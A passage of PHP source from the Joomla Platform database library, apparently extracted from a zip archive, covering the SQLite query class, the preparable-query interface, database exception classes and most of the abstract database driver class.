JDatabaseQuerySqlite * * @since 3.0.0 */ public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = array()) { // Case 1: Empty Key (reset $bounded array) if (empty($key)) { $this->bounded = array(); return $this; } // Case 2: Key Provided, null value (unset key from $bounded array) if (is_null($value)) { if (isset($this->bounded[$key])) { unset($this->bounded[$key]); } return $this; } $obj = new stdClass; $obj->value = &$value; $obj->dataType = $dataType; $obj->length = $length; $obj->driverOptions = $driverOptions; // Case 3: Simply add the Key/Value into the bounded array $this->bounded[$key] = $obj; return $this; } /** * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is * returned. * * @param mixed $key The bounded variable key to retrieve. * * @return mixed * * @since 3.0.0 */ public function &getBounded($key = null) { if (empty($key)) { return $this->bounded; } else { if (isset($this->bounded[$key])) { return $this->bounded[$key]; } } } /** * Gets the number of characters in a string. * * Note, use 'length' to find the number of bytes in a string. * * Usage: * $query->select($query->charLength('a')); * * @param string $field A value. * @param string $operator Comparison operator between charLength integer value and $condition * @param string $condition Integer value to compare charLength with. * * @return string The required char length call. * * @since 3.2.0 */ public function charLength($field, $operator = null, $condition = null) { return 'length(' . $field . ')' . (isset($operator) && isset($condition) ? ' ' . $operator . ' ' . $condition : ''); } /** * Clear data from the query or a specific clause of the query. * * @param string $clause Optionally, the name of the clause to clear, or nothing to clear the whole query. * * @return JDatabaseQuerySqlite Returns this object to allow chaining. * * @since 3.0.0 */ public function clear($clause = null) { switch ($clause) { case null: $this->bounded = array(); break; } parent::clear($clause); return $this; } /** * Concatenates an array of column names or values. * * Usage: * $query->select($query->concatenate(array('a', 'b'))); * * @param array $values An array of values to concatenate. * @param string $separator As separator to place between each value. * * @return string The concatenated values. * * @since 1.7.0 */ public function concatenate($values, $separator = null) { if ($separator) { return implode(' || ' . $this->quote($separator) . ' || ', $values); } else { return implode(' || ', $values); } } /** * Method to modify a query already in string format with the needed * additions to make the query limited to a particular number of * results, or start at a particular offset. This method is used * automatically by the __toString() method if it detects that the * query implements the JDatabaseQueryLimitable interface. * * @param string $query The query in string format * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return string * * @since 3.0.0 */ public function processLimit($query, $limit, $offset = 0) { if ($limit > 0 || $offset > 0) { $query .= ' LIMIT ' . $offset . ', ' . $limit; } return $query; } /** * Sets the offset and limit for the result set, if the database driver supports it. * * Usage: * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record) * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record) * * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return JDatabaseQuerySqlite Returns this object to allow chaining. * * @since 3.0.0 */ public function setLimit($limit = 0, $offset = 0) { $this->limit = (int) $limit; $this->offset = (int) $offset; return $this; } /** * Add to the current date and time. * Usage: * $query->select($query->dateAdd()); * Prefixing the interval with a - (negative sign) will cause subtraction to be used. * * @param datetime $date The date or datetime to add to * @param string $interval The string representation of the appropriate number of units * @param string $datePart The part of the date to perform the addition on * * @return string The string with the appropriate sql for addition of dates * * @since 3.2.0 * @link http://www.sqlite.org/lang_datefunc.html */ public function dateAdd($date, $interval, $datePart) { // SQLite does not support microseconds as a separate unit. Convert the interval to seconds if (strcasecmp($datePart, 'microseconds') == 0) { // Force the dot as a decimal point $interval = str_replace(',', '.', .001 * $interval); $datePart = 'seconds'; } if (substr($interval, 0, 1) != '-') { return "datetime('" . $date . "', '+" . $interval . " " . $datePart . "')"; } else { return "datetime('" . $date . "', '" . $interval . " " . $datePart . "')"; } } /** * Gets the current date and time. * * Usage: * $query->where('published_up < '.$query->currentTimestamp()); * * @return string * * @since 3.4 */ public function currentTimestamp() { return 'CURRENT_TIMESTAMP'; } /** * Magic function to convert the query to a string. * * @return string The completed query. * * @since 1.7.0 */ public function __toString() { switch ($this->type) { case 'select': if ($this->selectRowNumber) { $orderBy = $this->selectRowNumber['orderBy']; $orderColumnAlias = $this->selectRowNumber['orderColumnAlias']; $column = "ROW_NUMBER() AS $orderColumnAlias"; if ($this->select === null) { $query = PHP_EOL . "SELECT 1" . (string) $this->from . (string) $this->where; } else { $tmpOffset = $this->offset; $tmpLimit = $this->limit; $this->offset = 0; $this->limit = 0; $tmpOrder = $this->order; $this->order = null; $query = parent::__toString(); $column = "w.*, $column"; $this->order = $tmpOrder; $this->offset = $tmpOffset; $this->limit = $tmpLimit; } // Special sqlite query to count ROW_NUMBER $query = PHP_EOL . "SELECT $column" . PHP_EOL . "FROM ($query" . PHP_EOL . "ORDER BY $orderBy" . PHP_EOL . ") AS w,(SELECT ROW_NUMBER(0)) AS r" // Forbid to flatten subqueries. . ((string) $this->order ?: PHP_EOL . 'ORDER BY NULL'); return $this->processLimit($query, $this->limit, $this->offset); } break; case 'update': if ($this->join) { $table = $this->update->getElements(); $table = $table[0]; $tableName = explode(' ', $table); $tableName = $tableName[0]; if ($this->columns === null) { $fields = $this->db->getTableColumns($tableName); foreach ($fields as $key => $value) { $fields[$key] = $key; } $this->columns = new JDatabaseQueryElement('()', $fields); } $fields = $this->columns->getElements(); $elements = $this->set->getElements(); foreach ($elements as $nameValue) { $setArray = explode(' = ', $nameValue, 2); if ($setArray[0][0] === '`') { // Unquote column name $setArray[0] = substr($setArray[0], 1, -1); } $fields[$setArray[0]] = $setArray[1]; } $select = new JDatabaseQuerySqlite($this->db); $select->select(array_values($fields)) ->from($table); $select->join = $this->join; $select->where = $this->where; return 'INSERT OR REPLACE INTO ' . $tableName . ' (' . implode(',', array_keys($fields)) . ')' . (string) $select; } } return parent::__toString(); } /** * Return the number of the current row. * * @param string $orderBy An expression of ordering for window function. * @param string $orderColumnAlias An alias for new ordering column. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.7.0 * @throws RuntimeException */ public function selectRowNumber($orderBy, $orderColumnAlias) { $this->validateRowNumber($orderBy, $orderColumnAlias); return $this; } } PK�\��`��$joomla/database/query/preparable.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Database Query Preparable Interface. * Adds bind/unbind methods as well as a getBounded() method * to retrieve the stored bounded variables on demand prior to * query execution. * * @since 3.0.0 */ interface JDatabaseQueryPreparable { /** * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also * removes a variable that has been bounded from the internal bounded array when the passed in value is null. * * @param string|integer $key The key that will be used in your SQL query to reference the value. Usually of * the form ':key', but can also be an integer. * @param mixed &$value The value that will be bound. The value is passed by reference to support output * parameters such as those possible with stored procedures. * @param integer $dataType Constant corresponding to a SQL datatype. * @param integer $length The length of the variable. Usually required for OUTPUT parameters. * @param array $driverOptions Optional driver options to be used. * * @return JDatabaseQuery * * @since 3.0.0 */ public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = array()); /** * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is * returned. * * @param mixed $key The bounded variable key to retrieve. * * @return mixed * * @since 3.0.0 */ public function &getBounded($key = null); } PK�\�V���)joomla/database/exception/unsupported.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Exception class defining an unsupported database object * * @since 3.6 */ class JDatabaseExceptionUnsupported extends RuntimeException { } PK�\�G��'joomla/database/exception/executing.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Exception class defining an error executing a statement * * @since 3.6 */ class JDatabaseExceptionExecuting extends RuntimeException { /** * The SQL statement that was executed. * * @var string * @since 3.6 */ private $query; /** * Construct the exception * * @param string $query The SQL statement that was executed. * @param string $message The Exception message to throw. [optional] * @param integer $code The Exception code. [optional] * @param Exception $previous The previous exception used for the exception chaining. [optional] * * @since 3.6 */ public function __construct($query, $message = '', $code = 0, Exception $previous = null) { parent::__construct($message, $code, $previous); $this->query = $query; } /** * Get the SQL statement that was executed * * @return string * * @since 3.6 */ public function getQuery() { return $this->query; } } PK�\]�pE��(joomla/database/exception/connecting.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Exception class defining an error connecting to the database platform * * @since 3.6 */ class JDatabaseExceptionConnecting extends RuntimeException { } PK�\Ƿ��7�7�joomla/database/driver.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Database Driver Class * * @since 3.0.0 * * @method string|array q() q($text, $escape = true) Alias for quote method * @method string|array qn() qn($name, $as = null) Alias for quoteName method */ abstract class JDatabaseDriver extends JDatabase implements JDatabaseInterface { /** * The name of the database. * * @var string * @since 2.5.0 */ private $_database; /** * The name of the database driver. * * @var string * @since 1.7.0 */ public $name; /** * The type of the database server family supported by this driver. Examples: mysql, oracle, postgresql, mssql, * sqlite. * * @var string * @since CMS 3.5.0 */ public $serverType; /** * @var resource The database connection resource. * @since 1.7.0 */ protected $connection; /** * @var integer The number of SQL statements executed by the database driver. * @since 1.7.0 */ protected $count = 0; /** * @var resource The database connection cursor from the last query. * @since 1.7.0 */ protected $cursor; /** * @var boolean The database driver debugging state. * @since 1.7.0 */ protected $debug = false; /** * @var integer The affected row limit for the current SQL statement. * @since 1.7.0 */ protected $limit = 0; /** * @var array The log of executed SQL statements by the database driver. * @since 1.7.0 */ protected $log = array(); /** * @var array The log of executed SQL statements timings (start and stop microtimes) by the database driver. * @since CMS 3.1.2 */ protected $timings = array(); /** * @var array The log of executed SQL statements timings (start and stop microtimes) by the database driver. * @since CMS 3.1.2 */ protected $callStacks = array(); /** * @var string The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * @since 1.7.0 */ protected $nameQuote; /** * @var string The null or zero representation of a timestamp for the database driver. This should be * defined in child classes to hold the appropriate value for the engine. * @since 1.7.0 */ protected $nullDate; /** * @var integer The affected row offset to apply for the current SQL statement. * @since 1.7.0 */ protected $offset = 0; /** * @var array Passed in upon instantiation and saved. * @since 1.7.0 */ protected $options; /** * @var JDatabaseQuery|string The current SQL statement to execute. * @since 1.7.0 */ protected $sql; /** * @var string The common database table prefix. * @since 1.7.0 */ protected $tablePrefix; /** * @var boolean True if the database engine supports UTF-8 character encoding. * @since 1.7.0 */ protected $utf = true; /** * @var boolean True if the database engine supports UTF-8 Multibyte (utf8mb4) character encoding. * @since CMS 3.5.0 */ protected $utf8mb4 = false; /** * @var integer The database error number * @since 1.7.0 * @deprecated 3.0.0 */ protected $errorNum = 0; /** * @var string The database error message * @since 1.7.0 * @deprecated 3.0.0 */ protected $errorMsg; /** * @var array JDatabaseDriver instances container. * @since 1.7.0 */ protected static $instances = array(); /** * @var string The minimum supported database version. * @since 3.0.0 */ protected static $dbMinimum; /** * @var integer The depth of the current transaction. * @since 3.1.4 */ protected $transactionDepth = 0; /** * @var callable[] List of callables to call just before disconnecting database * @since CMS 3.1.2 */ protected $disconnectHandlers = array(); /** * Get a list of available database connectors. The list will only be populated with connectors that both * the class exists and the static test method returns true. This gives us the ability to have a multitude * of connector classes that are self-aware as to whether or not they are able to be used on a given system. * * @return array An array of available database connectors. * * @since 1.7.0 */ public static function getConnectors() { $connectors = array(); // Get an iterator and loop trough the driver classes. $iterator = new DirectoryIterator(__DIR__ . '/driver'); /* @type $file DirectoryIterator */ foreach ($iterator as $file) { $fileName = $file->getFilename(); // Only load for php files. if (!$file->isFile() || $file->getExtension() != 'php') { continue; } // Derive the class name from the type. $class = str_ireplace('.php', '', 'JDatabaseDriver' . ucfirst(trim($fileName))); // If the class doesn't exist we have nothing left to do but look at the next type. We did our best. if (!class_exists($class)) { continue; } // Sweet! Our class exists, so now we just need to know if it passes its test method. if ($class::isSupported()) { // Connector names should not have file extensions. $connectors[] = str_ireplace('.php', '', $fileName); } } return $connectors; } /** * Method to return a JDatabaseDriver instance based on the given options. There are three global options and then * the rest are specific to the database driver. The 'driver' option defines which JDatabaseDriver class is * used for the connection -- the default is 'mysqli'. The 'database' option determines which database is to * be used for the connection. The 'select' option determines whether the connector should automatically select * the chosen database. * * Instances are unique to the given options and new objects are only created when a unique options array is * passed into the method. This ensures that we don't end up with unnecessary database connection resources. * * @param array $options Parameters to be passed to the database driver. * * @return JDatabaseDriver A database object. * * @since 1.7.0 * @throws RuntimeException */ public static function getInstance($options = array()) { // Sanitize the database connector options. $options['driver'] = (isset($options['driver'])) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $options['driver']) : 'mysqli'; $options['database'] = (isset($options['database'])) ? $options['database'] : null; $options['select'] = (isset($options['select'])) ? $options['select'] : true; // If the selected driver is `mysql` and we are on PHP 7 or greater, switch to the `mysqli` driver. if ($options['driver'] === 'mysql' && PHP_MAJOR_VERSION >= 7) { // Check if we have support for the other MySQL drivers $mysqliSupported = JDatabaseDriverMysqli::isSupported(); $pdoMysqlSupported = JDatabaseDriverPdomysql::isSupported(); // If neither is supported, then the user cannot use MySQL; throw an exception if (!$mysqliSupported && !$pdoMysqlSupported) { throw new JDatabaseExceptionUnsupported( 'The PHP `ext/mysql` extension is removed in PHP 7, cannot use the `mysql` driver.' . ' Also, this system does not support MySQLi or PDO MySQL. Cannot instantiate database driver.' ); } // Prefer MySQLi as it is a closer replacement for the removed MySQL driver, otherwise use the PDO driver if ($mysqliSupported) { JLog::add( 'The PHP `ext/mysql` extension is removed in PHP 7, cannot use the `mysql` driver. Trying `mysqli` instead.', JLog::WARNING, 'deprecated' ); $options['driver'] = 'mysqli'; } else { JLog::add( 'The PHP `ext/mysql` extension is removed in PHP 7, cannot use the `mysql` driver. Trying `pdomysql` instead.', JLog::WARNING, 'deprecated' ); $options['driver'] = 'pdomysql'; } } // Get the options signature for the database connector. $signature = md5(serialize($options)); // If we already have a database connector instance for these options then just use that. if (empty(self::$instances[$signature])) { // Derive the class name from the driver. $class = 'JDatabaseDriver' . ucfirst(strtolower($options['driver'])); // If the class still doesn't exist we have nothing left to do but throw an exception. We did our best. if (!class_exists($class)) { throw new JDatabaseExceptionUnsupported(sprintf('Unable to load Database Driver: %s', $options['driver'])); } // Create our new JDatabaseDriver connector based on the options given. try { $instance = new $class($options); } catch (RuntimeException $e) { throw new JDatabaseExceptionConnecting(sprintf('Unable to connect to the Database: %s', $e->getMessage()), $e->getCode(), $e); } // Set the new connector to the global instances based on signature. self::$instances[$signature] = $instance; } return self::$instances[$signature]; } /** * Splits a string of multiple queries into an array of individual queries. * Single line or line end comments and multi line comments are stripped off. * * @param string $sql Input SQL string with which to split into individual queries. * * @return array The queries from the input string separated into an array. * * @since 1.7.0 */ public static function splitSql($sql) { $start = 0; $open = false; $comment = false; $endString = ''; $end = strlen($sql); $queries = array(); $query = ''; for ($i = 0; $i < $end; $i++) { $current = substr($sql, $i, 1); $current2 = substr($sql, $i, 2); $current3 = substr($sql, $i, 3); $lenEndString = strlen($endString); $testEnd = substr($sql, $i, $lenEndString); if ($current == '"' || $current == "'" || $current2 == '--' || ($current2 == '/*' && $current3 != '/*!' && $current3 != '/*+') || ($current == '#' && $current3 != '#__') || ($comment && $testEnd == $endString)) { // Check if quoted with previous backslash $n = 2; while (substr($sql, $i - $n + 1, 1) == '\\' && $n < $i) { $n++; } // Not quoted if ($n % 2 == 0) { if ($open) { if ($testEnd == $endString) { if ($comment) { $comment = false; if ($lenEndString > 1) { $i += ($lenEndString - 1); $current = substr($sql, $i, 1); } $start = $i + 1; } $open = false; $endString = ''; } } else { $open = true; if ($current2 == '--') { $endString = "\n"; $comment = true; } elseif ($current2 == '/*') { $endString = '*/'; $comment = true; } elseif ($current == '#') { $endString = "\n"; $comment = true; } else { $endString = $current; } if ($comment && $start < $i) { $query = $query . substr($sql, $start, ($i - $start)); } } } } if ($comment) { $start = $i + 1; } if (($current == ';' && !$open) || $i == $end - 1) { if ($start <= $i) { $query = $query . substr($sql, $start, ($i - $start + 1)); } $query = trim($query); if ($query) { if (($i == $end - 1) && ($current != ';')) { $query = $query . ';'; } $queries[] = $query; } $query = ''; $start = $i + 1; } } return $queries; } /** * Magic method to provide method alias support for quote() and quoteName(). * * @param string $method The called method. * @param array $args The array of arguments passed to the method. * * @return mixed The aliased method's return value or null. * * @since 1.7.0 */ public function __call($method, $args) { if (empty($args)) { return; } switch ($method) { case 'q': return $this->quote($args[0], isset($args[1]) ? $args[1] : true); break; case 'qn': return $this->quoteName($args[0], isset($args[1]) ? $args[1] : null); break; } } /** * Constructor. * * @param array $options List of options used to configure the connection * * @since 1.7.0 */ public function __construct($options) { // Initialise object variables. $this->_database = (isset($options['database'])) ? $options['database'] : ''; $this->tablePrefix = (isset($options['prefix'])) ? $options['prefix'] : 'jos_'; $this->count = 0; $this->errorNum = 0; $this->log = array(); // Set class options. $this->options = $options; } /** * Alter database's character set, obtaining query string from protected member. * * @param string $dbName The database name that will be altered * * @return string The query that alter the database query string * * @since 3.0.1 * @throws RuntimeException */ public function alterDbCharacterSet($dbName) { if (is_null($dbName)) { throw new RuntimeException('Database name must not be null.'); } $this->setQuery($this->getAlterDbCharacterSet($dbName)); return $this->execute(); } /** * Alter a table's character set, obtaining an array of queries to do so from a protected method. The conversion is * wrapped in a transaction, if supported by the database driver. Otherwise the table will be locked before the * conversion. This prevents data corruption. * * @param string $tableName The name of the table to alter * @param boolean $rethrow True to rethrow database exceptions. Default: false (exceptions are suppressed) * * @return boolean True if successful * * @since CMS 3.5.0 * @throws RuntimeException If the table name is empty * @throws Exception Relayed from the database layer if a database error occurs and $rethrow == true */ public function alterTableCharacterSet($tableName, $rethrow = false) { if (is_null($tableName)) { throw new RuntimeException('Table name must not be null.'); } $queries = $this->getAlterTableCharacterSet($tableName); if (empty($queries)) { return false; } $hasTransaction = true; try { $this->transactionStart(); } catch (Exception $e) { $hasTransaction = false; $this->lockTable($tableName); } foreach ($queries as $query) { try { $this->setQuery($query)->execute(); } catch (Exception $e) { if ($hasTransaction) { $this->transactionRollback(); } else { $this->unlockTables(); } if ($rethrow) { throw $e; } return false; } } if ($hasTransaction) { try { $this->transactionCommit(); } catch (Exception $e) { $this->transactionRollback(); if ($rethrow) { throw $e; } return false; } } else { $this->unlockTables(); } return true; } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ abstract public function connect(); /** * Determines if the connection to the server is active. * * @return boolean True if connected to the database engine. * * @since 1.7.0 */ abstract public function connected(); /** * Create a new database using information from $options object, obtaining query string * from protected member. * * @param stdClass $options Object used to pass user and database name to database driver. * This object must have "db_name" and "db_user" set. * @param boolean $utf True if the database supports the UTF-8 character set. * * @return string The query that creates database * * @since 3.0.1 * @throws RuntimeException */ public function createDatabase($options, $utf = true) { if (is_null($options)) { throw new RuntimeException('$options object must not be null.'); } elseif (empty($options->db_name)) { throw new RuntimeException('$options object must have db_name set.'); } elseif (empty($options->db_user)) { throw new RuntimeException('$options object must have db_user set.'); } $this->setQuery($this->getCreateDatabaseQuery($options, $utf)); return $this->execute(); } /** * Destructor. * * @since 3.8.0 */ public function __destruct() { $this->disconnect(); } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ abstract public function disconnect(); /** * Adds a function callable just before disconnecting the database. Parameter of the callable is $this JDatabaseDriver * * @param callable $callable Function to call in disconnect() method just before disconnecting from database * * @return void * * @since CMS 3.1.2 */ public function addDisconnectHandler($callable) { $this->disconnectHandlers[] = $callable; } /** * Drops a table from the database. * * @param string $table The name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return JDatabaseDriver Returns this object to support chaining. * * @since 2.5.0 * @throws RuntimeException */ abstract public function dropTable($table, $ifExists = true); /** * Escapes a string for usage in an SQL statement. * * @param string $text The string to be escaped. * @param boolean $extra Optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 1.7.0 */ abstract public function escape($text, $extra = false); /** * Method to fetch a row from the result set cursor as an array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 1.7.0 */ abstract protected function fetchArray($cursor = null); /** * Method to fetch a row from the result set cursor as an associative array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 1.7.0 */ abstract protected function fetchAssoc($cursor = null); /** * Method to fetch a row from the result set cursor as an object. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * @param string $class The class name to use for the returned row object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 1.7.0 */ abstract protected function fetchObject($cursor = null, $class = 'stdClass'); /** * Method to free up the memory used for the result set. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return void * * @since 1.7.0 */ abstract protected function freeResult($cursor = null); /** * Get the number of affected rows for the previous executed SQL statement. * * @return integer The number of affected rows. * * @since 1.7.0 */ abstract public function getAffectedRows(); /** * Return the query string to alter the database character set. * * @param string $dbName The database name * * @return string The query that alter the database query string * * @since 3.0.1 */ public function getAlterDbCharacterSet($dbName) { $charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8'; return 'ALTER DATABASE ' . $this->quoteName($dbName) . ' CHARACTER SET `' . $charset . '`'; } /** * Get the query strings to alter the character set and collation of a table. * * @param string $tableName The name of the table * * @return string[] The queries required to alter the table's character set and collation * * @since CMS 3.5.0 */ public function getAlterTableCharacterSet($tableName) { $charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8'; $collation = $charset . '_unicode_ci'; $quotedTableName = $this->quoteName($tableName); $queries = array(); $queries[] = "ALTER TABLE $quotedTableName CONVERT TO CHARACTER SET $charset COLLATE $collation"; /** * We also need to convert each text column, modifying their character set and collation. This allows us to * change, for example, a utf8_bin collated column to a utf8mb4_bin collated column. */ $sql = "SHOW FULL COLUMNS FROM $quotedTableName"; $this->setQuery($sql); $columns = $this->loadAssocList(); $columnMods = array(); if (is_array($columns)) { foreach ($columns as $column) { // Make sure we are redefining only columns which do support a collation $col = (object) $column; if (empty($col->Collation)) { continue; } // Default new collation: utf8_unicode_ci or utf8mb4_unicode_ci $newCollation = $charset . '_unicode_ci'; $collationParts = explode('_', $col->Collation); /** * If the collation is in the form charset_collationType_ci or charset_collationType we have to change * the charset but leave the collationType intact (e.g. utf8_bin must become utf8mb4_bin, NOT * utf8mb4_general_ci). */ if (count($collationParts) >= 2) { $ci = array_pop($collationParts); $collationType = array_pop($collationParts); $newCollation = $charset . '_' . $collationType . '_' . $ci; /** * When the last part of the old collation is not _ci we have a charset_collationType format, * something like utf8_bin. Therefore the new collation only has *two* parts. */ if ($ci != 'ci') { $newCollation = $charset . '_' . $ci; } } // If the old and new collation is the same we don't have to change the collation type if (strtolower($newCollation) == strtolower($col->Collation)) { continue; } $null = $col->Null == 'YES' ? 'NULL' : 'NOT NULL'; $default = is_null($col->Default) ? '' : "DEFAULT '" . $this->q($col->Default) . "'"; $columnMods[] = "MODIFY COLUMN `{$col->Field}` {$col->Type} CHARACTER SET $charset COLLATE $newCollation $null $default"; } } if (count($columnMods)) { $queries[] = "ALTER TABLE $quotedTableName " . implode(',', $columnMods) . " CHARACTER SET $charset COLLATE $collation"; } return $queries; } /** * Automatically downgrade a CREATE TABLE or ALTER TABLE query from utf8mb4 (UTF-8 Multibyte) to plain utf8. Used * when the server doesn't support UTF-8 Multibyte. * * @param string $query The query to convert * * @return string The converted query */ public function convertUtf8mb4QueryToUtf8($query) { if ($this->hasUTF8mb4Support()) { return $query; } // If it's not an ALTER TABLE or CREATE TABLE command there's nothing to convert if (!preg_match('/^(ALTER|CREATE)\s+TABLE\s+/i', $query)) { return $query; } // Don't do preg replacement if string does not exist if (stripos($query, 'utf8mb4') === false) { return $query; } // Replace utf8mb4 with utf8 if not within single or double quotes or name quotes return preg_replace('/[`"\'][^`"\']*[`"\'](*SKIP)(*FAIL)|utf8mb4/i', 'utf8', $query); } /** * Return the query string to create new Database. * Each database driver, other than MySQL, need to override this member to return correct string. * * @param stdClass $options Object used to pass user and database name to database driver. * This object must have "db_name" and "db_user" set. * @param boolean $utf True if the database supports the UTF-8 character set. * * @return string The query that creates database * * @since 3.0.1 */ protected function getCreateDatabaseQuery($options, $utf) { if ($utf) { $charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8'; $collation = $charset . '_unicode_ci'; return 'CREATE DATABASE ' . $this->quoteName($options->db_name) . ' CHARACTER SET `' . $charset . '` COLLATE `' . $collation . '`'; } return 'CREATE DATABASE ' . $this->quoteName($options->db_name); } /** * Method to get the database collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database or boolean false if not supported. * * @since 1.7.0 */ abstract public function getCollation(); /** * Method to get the database connection collation, as reported by the driver. If the connector doesn't support * reporting this value please return an empty string. * * @return string */ public function getConnectionCollation() { return ''; } /** * Method that provides access to the underlying database connection. Useful for when you need to call a * proprietary method such as postgresql's lo_* methods. * * @return resource The underlying database connection resource. * * @since 1.7.0 */ public function getConnection() { return $this->connection; } /** * Get the total number of SQL statements executed by the database driver. * * @return integer * * @since 1.7.0 */ public function getCount() { return $this->count; } /** * Gets the name of the database used by this connection. * * @return string * * @since 2.5.0 */ protected function getDatabase() { return $this->_database; } /** * Returns a PHP date() function compliant date format for the database driver. * * @return string The format string. * * @since 1.7.0 */ public function getDateFormat() { return 'Y-m-d H:i:s'; } /** * Get the database driver SQL statement log. * * @return array SQL statements executed by the database driver. * * @since 1.7.0 */ public function getLog() { return $this->log; } /** * Get the database driver SQL statement log. * * @return array SQL statements executed by the database driver. * * @since CMS 3.1.2 */ public function getTimings() { return $this->timings; } /** * Get the database driver SQL statement log. * * @return array SQL statements executed by the database driver. * * @since CMS 3.1.2 */ public function getCallStacks() { return $this->callStacks; } /** * Get the minimum supported database version. * * @return string The minimum version number for the database driver. * * @since 3.0.0 */ public function getMinimum() { return static::$dbMinimum; } /** * Get the null or zero representation of a timestamp for the database driver. * * @return string Null or zero representation of a timestamp. * * @since 1.7.0 */ public function getNullDate() { return $this->nullDate; } /** * Get the number of returned rows for the previous executed SQL statement. * * @param resource $cursor An optional database cursor resource to extract the row count from. * * @return integer The number of returned rows. * * @since 1.7.0 */ abstract public function getNumRows($cursor = null); /** * Get the common table prefix for the database driver. * * @return string The common database table prefix. * * @since 1.7.0 */ public function getPrefix() { return $this->tablePrefix; } /** * Gets an exporter class object. * * @return JDatabaseExporter An exporter object. * * @since 3.0.0 * @throws RuntimeException */ public function getExporter() { // Derive the class name from the driver. $class = 'JDatabaseExporter' . ucfirst($this->name); // Make sure we have an exporter class for this driver. if (!class_exists($class)) { // If it doesn't exist we are at an impasse so throw an exception. throw new JDatabaseExceptionUnsupported('Database Exporter not found.'); } $o = new $class; $o->setDbo($this); return $o; } /** * Gets an importer class object. * * @return JDatabaseImporter An importer object. * * @since 3.0.0 * @throws RuntimeException */ public function getImporter() { // Derive the class name from the driver. $class = 'JDatabaseImporter' . ucfirst($this->name); // Make sure we have an importer class for this driver. if (!class_exists($class)) { // If it doesn't exist we are at an impasse so throw an exception. throw new JDatabaseExceptionUnsupported('Database Importer not found'); } $o = new $class; $o->setDbo($this); return $o; } /** * Get the name of the database driver. If $this->name is not set it will try guessing the driver name from the * class name. * * @return string * * @since CMS 3.5.0 */ public function getName() { if (empty($this->name)) { $className = get_class($this); $className = str_replace('JDatabaseDriver', '', $className); $this->name = strtolower($className); } return $this->name; } /** * Get the server family type, e.g. mysql, postgresql, oracle, sqlite, mssql. If $this->serverType is not set it * will attempt guessing the server family type from the driver name. If this is not possible the driver name will * be returned instead. * * @return string * * @since CMS 3.5.0 */ public function getServerType() { if (empty($this->serverType)) { $name = $this->getName(); if (stristr($name, 'mysql') !== false) { $this->serverType = 'mysql'; } elseif (stristr($name, 'postgre') !== false) { $this->serverType = 'postgresql'; } elseif (stristr($name, 'pgsql') !== false) { $this->serverType = 'postgresql'; } elseif (stristr($name, 'oracle') !== false) { $this->serverType = 'oracle'; } elseif (stristr($name, 'sqlite') !== false) { $this->serverType = 'sqlite'; } elseif (stristr($name, 'sqlsrv') !== false) { $this->serverType = 'mssql'; } elseif (stristr($name, 'mssql') !== false) { $this->serverType = 'mssql'; } else { $this->serverType = $name; } } return $this->serverType; } /** * Get the current query object or a new JDatabaseQuery object. * * @param boolean $new False to return the current query object, True to return a new JDatabaseQuery object. * * @return JDatabaseQuery The current query object or a new object extending the JDatabaseQuery class. * * @since 1.7.0 * @throws RuntimeException */ public function getQuery($new = false) { if ($new) { // Derive the class name from the driver. $class = 'JDatabaseQuery' . ucfirst($this->name); // Make sure we have a query class for this driver. if (!class_exists($class)) { // If it doesn't exist we are at an impasse so throw an exception. throw new JDatabaseExceptionUnsupported('Database Query Class not found.'); } return new $class($this); } else { return $this->sql; } } /** * Get a new iterator on the current query. * * @param string $column An option column to use as the iterator key. * @param string $class The class of object that is returned. * * @return JDatabaseIterator A new database iterator. * * @since 3.0.0 * @throws RuntimeException */ public function getIterator($column = null, $class = 'stdClass') { // Derive the class name from the driver. $iteratorClass = 'JDatabaseIterator' . ucfirst($this->name); // Make sure we have an iterator class for this driver. if (!class_exists($iteratorClass)) { // If it doesn't exist we are at an impasse so throw an exception. throw new JDatabaseExceptionUnsupported(sprintf('class 